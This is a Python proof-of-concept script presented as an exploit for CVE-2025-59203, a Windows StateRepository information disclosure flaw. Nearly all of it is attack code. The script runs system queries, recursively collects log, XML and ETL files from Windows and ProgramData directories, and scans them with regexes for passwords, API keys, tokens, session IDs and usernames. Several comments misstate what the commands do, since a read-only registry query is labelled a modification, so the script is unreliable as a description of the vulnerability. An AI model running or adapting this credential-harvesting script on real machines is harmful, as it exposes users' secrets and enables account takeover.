The following code is for security research and authorized testing only.
python
# CVE-2025-59203 - Windows StateRepository API Sensitive Information Disclosure PoC
# This PoC demonstrates how to trigger sensitive information logging in StateRepository API
# and subsequently read the leaked data from log files.
import os
import subprocess
import glob
import re
# Step 1: Trigger StateRepository API operations that cause sensitive data logging
# This can be done by performing operations that invoke the StateRepository API
def trigger_state_repository_operations():
"""
Trigger StateRepository API operations by performing common Windows tasks
that interact with the state repository service.
"""
# Trigger application state changes (e.g., install/uninstall operations)
# Using built-in Windows utilities to invoke StateRepository API
try:
# Method 1: Trigger via Windows Update or app management
subprocess.run(['powershell', '-Command',
'Get-AppxPackage | Select-Object Name, PackageFullName'],
capture_output=True, timeout=30)
# Method 2: Trigger state changes via registry modifications
subprocess.run(['reg', 'query',
'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Appx'],
capture_output=True, timeout=30)
# Method 3: Force StateRepository service to log operations
subprocess.run(['sc', 'query', 'StateRepository'],
capture_output=True, timeout=30)
print("[+] StateRepository API operations triggered successfully")
return True
except Exception as e:
print(f"[-] Error triggering operations: {e}")
return False
def find_state_repository_logs():
"""
Search for StateRepository API log files that may contain sensitive information.
"""
# Common locations for StateRepository logs
log_paths = [
os.path.expandvars(r'%ProgramData%\Microsoft\Windows\StateRepository'),
os.path.expandvars(r'%ProgramData%\Microsoft\Windows\WER'),
os.path.expandvars(r'%LOCALAPPDATA%\Microsoft\Windows\StateRepository'),
os.path.expandvars(r'%WINDIR%\Logs'),
os.path.expandvars(r'%WINDIR%\System32\winevt\Logs'),
os.path.expandvars(r'%ProgramData%\Microsoft\Diagnosis'),
]
found_logs = []
for log_path in log_paths:
if os.path.exists(log_path):
# Search for log files recursively
for log_file in glob.glob(os.path.join(log_path, '**', '*.log'), recursive=True):
found_logs.append(log_file)
for log_file in glob.glob(os.path.join(log_path, '**', '*.xml'), recursive=True):
found_logs.append(log_file)
for log_file in glob.glob(os.path.join(log_path, '**', '*.etl'), recursive=True):
found_logs.append(log_file)
print(f"[*] Found {len(found_logs)} potential log files")
return found_logs
def extract_sensitive_info(log_files):
"""
Parse log files to extract potentially sensitive information.
"""
# Patterns that may indicate sensitive information
sensitive_patterns = {
'credentials': r'(?i)(password|passwd|pwd|credential|secret|api[_-]?key)\s*[=:]\s*\S+',
'tokens': r'(?i)(token|bearer|jwt|session[_-]?id)\s*[=:]\s*\S+',
'user_info': r'(?i)(user(name)?|email|mail)\s*[=:]\s*\S+',
'paths': r'(?i)(C:\\\\Users\\\\[\w\.]+|/home/[\w\.]+)',
'registry_keys': r'(?i)HK(LM|CU|CR|U|CC)\\\\[\w\\]+',
}
sensitive_data = {}
for log_file in log_files:
try:
with open(log_file, 'r', errors='ignore') as f:
content = f.read()
for category, pattern in sensitive_patterns.items():
matches = re.findall(pattern, content)
if matches:
if category not in sensitive_data:
sensitive_data[category] = []
sensitive_data[category].extend(matches[:10]) # Limit results
except PermissionError:
print(f"[!] Permission denied reading: {log_file}")
except Exception as e:
print(f"[-] Error reading {log_file}: {e}")
return sensitive_data
def main():
print("=" * 60)
print("CVE-2025-59203 - StateRepository API Info Disclosure PoC")
print("=" * 60)
# Step 1: Trigger StateRepository operations
if trigger_state_repository_operations():
# Step 2: Find log files
log_files = find_state_repository_logs()
# Step 3: Extract sensitive information
if log_files:
sensitive_data = extract_sensitive_info(log_files)
if sensitive_data:
print("\n[!] Sensitive information found in log files:")
for category, data in sensitive_data.items():
print(f"\n Category: {category}")
for item in data[:5]:
print(f" - {item}")
else:
print("\n[*] No sensitive patterns detected in accessible logs")
else:
print("\n[-] No log files found in expected locations")
print("\n[*] PoC execution complete")
if __name__ == '__main__':
main()